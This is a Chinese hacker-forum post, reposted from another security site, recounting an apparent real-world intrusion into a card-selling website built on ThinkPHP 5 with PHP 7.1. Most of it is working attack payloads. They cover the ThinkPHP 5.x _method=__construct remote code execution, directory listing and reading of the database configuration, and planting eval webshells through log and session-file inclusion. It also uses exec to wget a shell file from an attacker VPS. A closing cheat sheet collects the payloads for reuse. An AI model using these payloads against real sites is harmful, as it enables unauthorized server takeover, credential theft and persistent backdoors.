跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

一次实战中对tp5网站getshell方式的测试

精选回复

发布于

0x00 前言

之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payload拿shell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。

0x02 正文

拿到站点后,访问首页如下
1049983-20220112164153129-412690556.png

测试中,发现是thinkphp的站,报错如下
1049983-20220112164153599-89312026.png
不过看不出来具体版本,不确定是否存在RCE,于是用exp打一下试试

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

1049983-20220112164154048-133690590.png
发现执行成功了,disable_function禁用了挺多函数
1049983-20220112164154456-2007761822.png

一般php版本低于7.1的情况下,接下来直接用exp写shell就可以了
方法一
直接用下面的exp写shell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

但是这个exp中使用了assert,而上面看到php版本是7.1.33,这个版本是已经没办法使用assert了,所以这里这个方法是不能用的

方法二
上面的exp没办法写shell,但是phpinfo是执行了的,那么RCE是存在的。于是想到可以通过读取文件读取数据库的账号密码,然后找到phpmyadmin,就可以通过数据库写shell。
于是首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径

1049983-20220112164154902-34241032.png
然后通过highlight_file函数读取文件

_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径

1049983-20220112164155347-2101104572.png
拿到数据库信息后,找看看是否存在phpmyadmin,最终发现没有,于是这种方法也失败。

在论坛搜索tp5的getshell方法,发现不少师傅说到可以用日志包含或者session包含的方法,但是之前没接触过,不知道具体的,于是搜索尝试一下。

方法三
尝试日志包含
首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();

1049983-20220112164155832-1130145507.png
失败了,这里日志包含的方法也不可用

方法四
尝试使用session包含的方法来getshell
首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

1049983-20220112164156221-726893950.png
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

1049983-20220112164156637-987300493.png
成功执行,接下来通过蚁剑连接即可
1049983-20220112164157063-1880914308.png
成功getshell
1049983-20220112164157485-516730089.png
www权限
1049983-20220112164157850-189476530.png

方法五
上面拿到了shell,但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章,是由于disable_function中没有禁用exec,然后利用exec从vps下载shell文件。
于是我仔细看了下disable_function中禁用的函数,巧了,发现也没有禁用exec,那么试一下
首先在vps上创建一个test.php,并用python开放一个端口

python -m SimpleHTTPServer 8888

1049983-20220112164158129-1072450037.png
从vps上下载文件

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec

1049983-20220112164158552-2141884864.png
成功下载到目标机器上

0x03  总结

1.目标网站路径上输入错误的路径,显示网站错误页面是thinkphp,没有显示版本

2.输入tp5.x的RCE poc,显示phpinfo成功,且disable_function禁用了很多函数以及php版本为7.1.x版本

http://www.xxx.com/index.php?s=captcha

post:

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

3.下面方法可直接获得到shell(tp5.x+php7.1.x)

方法一:(php要求低于<php7.1)

http://www.xxx.com/index.php?s=captcha

post:

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert(

方法二:(tp5.x+php7.1.x)

首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo  //显示网站目录为/www/wwwroot/idj/,且目录遍历获取到网站配置根目录(/www/wwwroot/idj/data/conf  )下存在数据库连接的php为database.php


_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/conf  

然后通过highlight_file函数读取文件,并读取到数据库的连接用户名和密码

_method=__construct&filter[]=highlight_file&method=GET&get[]=/www/wwwroot/idj/data/conf/database.php

如果能找到该网站存在phpmyadmin,就可以通过数据库用户和密码进入,并通过mysql  log写入shell

方法三:(tp5.x+php7.1.x,日志包含)

首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();

方法四:(tp5.x+php7.1.x,使用session包含的方法来getshe)

首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

方法四:(tp5.x+php7.1.x,disable_function中没用禁用exec函数)

首先在vps上创建一个test.php,并用python开放一个端口

python -m SimpleHTTPServer 8888

从vps上下载文件

s=wget  http://www.vps.com/test.php&_method=__construct&method=get&filter[]=exec



原文链接: https://xz.aliyun.com/t/10397





创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。